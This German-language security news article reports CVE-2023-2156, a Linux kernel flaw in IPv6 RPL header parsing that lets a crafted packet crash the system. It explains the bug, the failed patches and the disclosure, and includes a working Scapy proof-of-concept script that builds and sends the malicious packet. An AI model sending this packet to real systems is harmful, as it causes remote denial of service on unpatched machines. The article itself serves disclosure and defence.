0-Day-SicherheitsanfÀlligkeit im IPv6-Stack von Linux, die einen Remotecrash des Kernels ermöglicht

Es wurden Informationen ĂŒber eine ungepatchte (0-day) Schwachstelle (CVE-2023-2156) im Linux-Kernel veröffentlicht, die es ermöglicht, das System durch das Versenden speziell gestalteter IPv6-Pakete (packet-of-death) zum Absturz zu bringen. Das Problem tritt nur auf, wenn die UnterstĂŒtzung des RPL-Protokolls (Routing Protocol for Low-Power and Lossy Networks) aktiviert ist, das in Standard-Distributionen von Haus aus deaktiviert ist und hauptsĂ€chlich auf eingebetteten GerĂ€ten verwendet wird, die in drahtlosen Netzwerken mit hohen Paketverlusten arbeiten.

Die Schwachstelle wird durch eine fehlerhafte Verarbeitung externer Daten im Parsing-Code des RPL-Protokolls verursacht, was zu einem Auslösen des Assert-Fehlers fĂŒhrt und den Kernel in den Panic-Zustand versetzt. Wenn in der Struktur k_buff (Socket Buffer) Daten platziert werden, die aus dem Parsing des IPv6 RPL-Paket-Headers stammen, und das Feld CmprI auf 15, das Feld Segleft auf 1 und CmprE auf 0 gesetzt wird, wird ein 48-Byte-Vektor mit Adressen auf 528 Byte entpackt, was dazu fĂŒhrt, dass der fĂŒr den Puffer zur VerfĂŒgung stehende Speicher nicht ausreicht. In diesem Fall tritt bei der Funktion skb_push, die zum Platzieren von Daten in der Struktur verwendet wird, eine ÜberprĂŒfungsbedingung auf, die eine Diskrepanz zwischen der GrĂ¶ĂŸe der Daten und des Puffers generiert, um einen Schreibzugriff außerhalb des Puffers zu verhindern.

Beispiel fĂŒr einen Exploit: # Wir verwenden Scapy, um das Paket zu erstellen from scapy.all import * import socket # Verwenden Sie die IPv6-Adresse Ihrer LAN-Schnittstelle DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Wir verwenden Sockets, um das Paket zu senden sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paket erstellen # Typ = 3 macht dies zu einem RPL-Paket # Adressen enthalten 3 Adressen, aber da CmprI 15 ist, # wird jeder Oktett der ersten beiden Adressen als komprimierte Adresse behandelt # Segleft = 1, um die VerstĂ€rkung auszulösen # lastentry = 0xf0 setzt CmprI auf 15 und CmprE auf 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Dieses bösartige Paket senden sockfd.sendto(bytes(p), (DST_ADDR, 0))

Bemerkenswert ist, dass die Kernel-Entwickler bereits im Januar 2022 ĂŒber die Schwachstelle informiert wurden und in den vergangenen 15 Monaten dreimal versucht haben, das Problem zu beheben, indem sie Patches im September 2022, Oktober 2022 und April 2023 veröffentlichten, jedoch jedes Mal waren die Korrekturen unzureichend und die Schwachstelle konnte reproduziert werden. Letztendlich entschied das ZDI-Projekt, das die Arbeit zur Behebung der Schwachstelle koordinierte, detaillierte Informationen ĂŒber die Schwachstelle preiszugeben, ohne auf einen funktionierenden Fix im Kernel zu warten.

Somit bleibt die SicherheitsanfĂ€lligkeit weiterhin unbehebbar. Auch der Patch, der in den Kernel 6.4-rc2 aufgenommen wurde, ist nicht effektiv. Den Nutzern wird empfohlen zu ĂŒberprĂŒfen, ob das RPL-Protokoll in ihren Systemen verwendet wird, was mit dem Befehl sysctl -a | grep -i rpl_seg_enabled durchgefĂŒhrt werden kann.

Quelle: opennet.ru

ZuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz kaufen, VPS VDS Server đŸ”„ ZuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz kaufen, VPS VDS Server - ProHoster